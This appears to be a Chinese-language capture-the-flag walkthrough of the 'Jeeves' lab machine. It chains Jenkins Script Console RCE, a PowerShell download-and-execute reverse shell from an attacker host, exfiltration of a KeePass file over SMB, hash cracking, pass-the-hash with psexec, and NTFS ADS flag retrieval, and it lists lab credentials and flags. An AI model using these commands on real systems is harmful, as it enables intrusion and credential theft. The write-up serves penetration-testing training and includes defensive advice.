[Meachines] [Medium] Jeeves Jenkins-RCE+KeePass-Crack+Pass-the-Hash+(NTFS)ADS攻击
字数 1718 2025-08-20 18:18:10

Jeeves 渗透测试实战教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.63 --min-rate 1000 -sC -sV -Pn

扫描结果:

  • 80/tcp: Microsoft IIS httpd 10.0
  • 135/tcp: Microsoft Windows RPC
  • 445/tcp: Microsoft Windows SMB (workgroup: WORKGROUP)
  • 50000/tcp: Jetty 9.4.z-SNAPSHOT (Jenkins)

1.2 Web目录枚举

对Jenkins服务(50000端口)进行目录扫描:

feroxbuster --url http://10.10.10.63:50000/ --filter-status 404

2. 初始访问

2.1 Jenkins脚本控制台利用

  1. 访问Jenkins管理界面:http://10.10.10.63:50000/manage
  2. 进入"Script Console"
  3. 执行以下命令获取当前权限信息:
println "powershell.exe /c whoami /priv".execute().text
  1. 执行反向shell:
println "powershell.exe /c iex (New-Object Net.WebClient).DownloadString('http://10.10.16.17/Invoke-PowerShellTcp.ps1')".execute().text

3. 权限提升

3.1 获取KeePass数据库

  1. 在攻击机设置SMB共享:
impacket-smbserver share /tmp/ -smb2support
  1. 从目标机器复制KeePass数据库:
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.16.17\share

3.2 破解KeePass数据库

  1. 使用keepass2john提取哈希:
keepass2john CEH.kdbx > CEH.hash
  1. 使用hashcat破解:
hashcat -m 13400 CEH.hash /usr/share/wordlists/rockyou.txt --user
  1. 成功破解密码:moonshine1

3.3 分析KeePass内容

使用kpcli查看数据库内容:

kpcli -kdb CEH.kdbx

重要凭据:

  1. Backup stuff:
    • NTLM哈希: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
  2. DC Recovery PW:
    • 用户名: administrator
    • 密码: S1TjAtJHKsugh9oC4VZl
  3. Jenkins admin:
    • 注释: "We don't even need creds! Unhackable!"

3.4 使用NTLM哈希进行横向移动

使用impacket工具进行哈希传递攻击:

impacket-psexec Administrator@10.10.10.63 -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

3.5 获取最终flag

  1. 查找隐藏文件流:
dir /R
  1. 读取隐藏的root.txt内容:
powershell.exe /c Get-Content -Path .\hm.txt -Stream root.txt

4. 关键知识点总结

4.1 攻击技术

  1. Jenkins脚本控制台RCE:

    • Jenkins未授权访问或弱凭证导致的脚本控制台滥用
    • Groovy脚本执行系统命令
  2. KeePass数据库攻击链:

    • KeePass数据库文件识别与提取
    • keepass2john工具使用
    • Hashcat破解KeePass数据库
  3. Pass-the-Hash攻击:

    • 使用NTLM哈希进行身份验证绕过
    • impacket工具套件的使用(psexec)
  4. NTFS ADS(Alternate Data Streams):

    • Windows NTFS文件系统的隐藏数据流
    • 使用dir /R查看ADS
    • 使用PowerShell读取ADS内容

4.2 防御建议

  1. Jenkins安全:

    • 启用身份验证
    • 限制脚本控制台访问
    • 定期更新Jenkins版本
  2. 凭据管理:

    • 避免在多个账户间共享凭据
    • 使用强密码保护密码数据库
    • 定期轮换凭据
  3. 哈希传递防御:

    • 启用Credential Guard(Windows)
    • 限制本地管理员权限
    • 实施LSA保护
  4. NTFS ADS监控:

    • 定期扫描可疑的ADS
    • 监控异常文件操作

5. 工具清单

  1. 信息收集:

    • Nmap
    • Feroxbuster
  2. 漏洞利用:

    • Netcat/PowerShell反向shell
    • impacket-smbserver
  3. 密码破解:

    • keepass2john
    • hashcat
  4. 横向移动:

    • impacket-psexec
  5. 数据提取:

    • kpcli
    • PowerShell ADS读取

6. Flag获取路径

  1. 用户flag:

    • 路径: C:\Users\kohsuke\Desktop\user.txt
    • 值: e3232272596fb47950d59c4cf1e7066a
  2. 系统flag:

    • 路径: hm.txt:root.txt (NTFS ADS)
    • 值: afbc5bd4b615a60648cec41c6ac92530

本教学文档完整呈现了从信息收集到最终获取系统权限的全过程,涵盖了多种高级攻击技术,特别关注了密码数据库攻击和哈希传递攻击的实际应用。

Jeeves 渗透测试实战教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 扫描结果: 80/tcp: Microsoft IIS httpd 10.0 135/tcp: Microsoft Windows RPC 445/tcp: Microsoft Windows SMB (workgroup: WORKGROUP) 50000/tcp: Jetty 9.4.z-SNAPSHOT (Jenkins) 1.2 Web目录枚举 对Jenkins服务(50000端口)进行目录扫描: 2. 初始访问 2.1 Jenkins脚本控制台利用 访问Jenkins管理界面: http://10.10.10.63:50000/manage 进入"Script Console" 执行以下命令获取当前权限信息: 执行反向shell: 3. 权限提升 3.1 获取KeePass数据库 在攻击机设置SMB共享: 从目标机器复制KeePass数据库: 3.2 破解KeePass数据库 使用keepass2john提取哈希: 使用hashcat破解: 成功破解密码: moonshine1 3.3 分析KeePass内容 使用kpcli查看数据库内容: 重要凭据: Backup stuff : NTLM哈希: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 DC Recovery PW : 用户名: administrator 密码: S1TjAtJHKsugh9oC4VZl Jenkins admin : 注释: "We don't even need creds! Unhackable !" 3.4 使用NTLM哈希进行横向移动 使用impacket工具进行哈希传递攻击: 3.5 获取最终flag 查找隐藏文件流: 读取隐藏的root.txt内容: 4. 关键知识点总结 4.1 攻击技术 Jenkins脚本控制台RCE : Jenkins未授权访问或弱凭证导致的脚本控制台滥用 Groovy脚本执行系统命令 KeePass数据库攻击链 : KeePass数据库文件识别与提取 keepass2john工具使用 Hashcat破解KeePass数据库 Pass-the-Hash攻击 : 使用NTLM哈希进行身份验证绕过 impacket工具套件的使用(psexec) NTFS ADS(Alternate Data Streams) : Windows NTFS文件系统的隐藏数据流 使用 dir /R 查看ADS 使用PowerShell读取ADS内容 4.2 防御建议 Jenkins安全 : 启用身份验证 限制脚本控制台访问 定期更新Jenkins版本 凭据管理 : 避免在多个账户间共享凭据 使用强密码保护密码数据库 定期轮换凭据 哈希传递防御 : 启用Credential Guard(Windows) 限制本地管理员权限 实施LSA保护 NTFS ADS监控 : 定期扫描可疑的ADS 监控异常文件操作 5. 工具清单 信息收集: Nmap Feroxbuster 漏洞利用: Netcat/PowerShell反向shell impacket-smbserver 密码破解: keepass2john hashcat 横向移动: impacket-psexec 数据提取: kpcli PowerShell ADS读取 6. Flag获取路径 用户flag: 路径: C:\Users\kohsuke\Desktop\user.txt 值: e3232272596fb47950d59c4cf1e7066a 系统flag: 路径: hm.txt:root.txt (NTFS ADS) 值: afbc5bd4b615a60648cec41c6ac92530 本教学文档完整呈现了从信息收集到最终获取系统权限的全过程,涵盖了多种高级攻击技术,特别关注了密码数据库攻击和哈希传递攻击的实际应用。